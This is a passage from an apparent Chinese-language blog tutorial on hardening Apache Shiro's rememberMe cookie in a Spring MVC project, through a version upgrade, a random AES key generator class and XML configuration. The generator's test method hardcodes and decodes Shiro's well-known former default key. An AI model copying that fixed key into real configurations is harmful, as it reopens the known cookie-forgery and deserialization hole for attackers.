    private byte[] decryptionCipherKey;
 
  /**
     * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
     * an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
     */
    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        AesCipherService cipherService = new AesCipherService();
        this.cipherService = cipherService;
        setCipherKey(cipherService.generateNewKey().getEncoded());
    }
 
 
public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }

四.springmvc修改

1.修改pom.xml配置

升级shiro版本1.7.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!-- 升级shiro到1.2.5及以上 -->
		<shiro.version>1.7.0</shiro.version>
 
 
		<dependency>
			<groupId>org.apache.shiro</groupId>
			<artifactId>shiro-core</artifactId>
			<version>${shiro.version}</version>
		</dependency>
		<dependency>
			<groupId>org.apache.shiro</groupId>
			<artifactId>shiro-spring</artifactId>
			<version>${shiro.version}</version>
		</dependency>
		<dependency>
			<groupId>org.apache.shiro</groupId>
			<artifactId>shiro-cas</artifactId>
			<version>${shiro.version}</version>
			<exclusions>
				<exclusion>
					<groupId>commons-logging</groupId>
					<artifactId>commons-logging</artifactId>
				</exclusion>
			</exclusions>
		</dependency>
		<dependency>
			<groupId>org.apache.shiro</groupId>
			<artifactId>shiro-web</artifactId>
			<version>${shiro.version}</version>
		</dependency>
		<dependency>
			<groupId>org.apache.shiro</groupId>
			<artifactId>shiro-ehcache</artifactId>
			<version>${shiro.version}</version>
		</dependency>

2.增加一个自定义秘钥代码

参考官方的：org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
 
 
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AbstractSymmetricCipherService;
import org.aspectj.apache.bcel.generic.IINC;
 
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
 
import java.security.Key;
import java.security.NoSuchAlgorithmException;
 
/**
 * shiro 秘钥生成器
 * 
 * @author yuguang shiro有自己的随机生成秘钥的方法 秘钥生成器
 * 
 *
 */
public class MySymmetricCipherService extends AbstractSymmetricCipherService {
 
	 
 
	protected MySymmetricCipherService(String algorithmName) {
		super(algorithmName);
		// TODO Auto-generated constructor stub
	}
	 
    public static byte[] generateNewKeyFromSuper() {
        KeyGenerator kg;
        try {
            kg = KeyGenerator.getInstance("AES");
        } catch (NoSuchAlgorithmException var5) {
            String msg = "Unable to acquire AES algorithm.  This is required to function.";
            throw new IllegalStateException(msg, var5);
        }
 
        kg.init(128);
        SecretKey key = kg.generateKey();
        byte[] encoded = key.getEncoded();
        return encoded;
    }
 
	 
	
	/**
	 * 使用shiro官方的生成
	 * org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
	 * @return
	 */
	public static byte[] getCipherKey() {
		MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
		Key gKey = mySymmetricCipherService.generateNewKey();
		return gKey.getEncoded();
	}
 
	public static void main(String[] args) {
		MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
		Key gKey = mySymmetricCipherService.generateNewKey();
		System.out.println("key: " + gKey.getEncoded());
		System.out.println("key Base64.encodeToString: " + Base64.encodeToString(gKey.getEncoded()));
 
		byte[] decodeValue = org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag==");
		System.out.println("decodeValue: " + decodeValue);
	}
 
}

3.修改shiro配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!-- 定义Shiro安全管理配置 -->
	<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
		<property name="realm" ref="systemAuthorizingRealm" />
		<property name="sessionManager" ref="sessionManager" />
		<property name="cacheManager" ref="shiroCacheManager" />
		<!-- 加入rememberMe的配置管理 -->
		 <property name="rememberMeManager" ref="rememberMeManager" />
	</bean>
 
 
 <!-- rememberMe管理器   --> 
   <bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
       <!-- <property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('xxxxxxxxxxxx==')}" /> -->
       <property name="cipherKey" value="#{T(com.xxx.xxx.MySymmetricCipherService).getCipherKey()}" />
       <property name="cookie" ref="rememberMeCookie" />
   </bean>
   
   <!-- remenberMe配置 -->
   <bean id="rememberMeCookie" class="org.apache.shiro.web.servlet.SimpleCookie">
       <constructor-arg value="rememberMe" />
       <property name="httpOnly" value="true" />
       <!-- 默认记住7天（单位：秒） -->
       <property name="maxAge" value="604800" />
   </bean>

4.修改完之后测试

image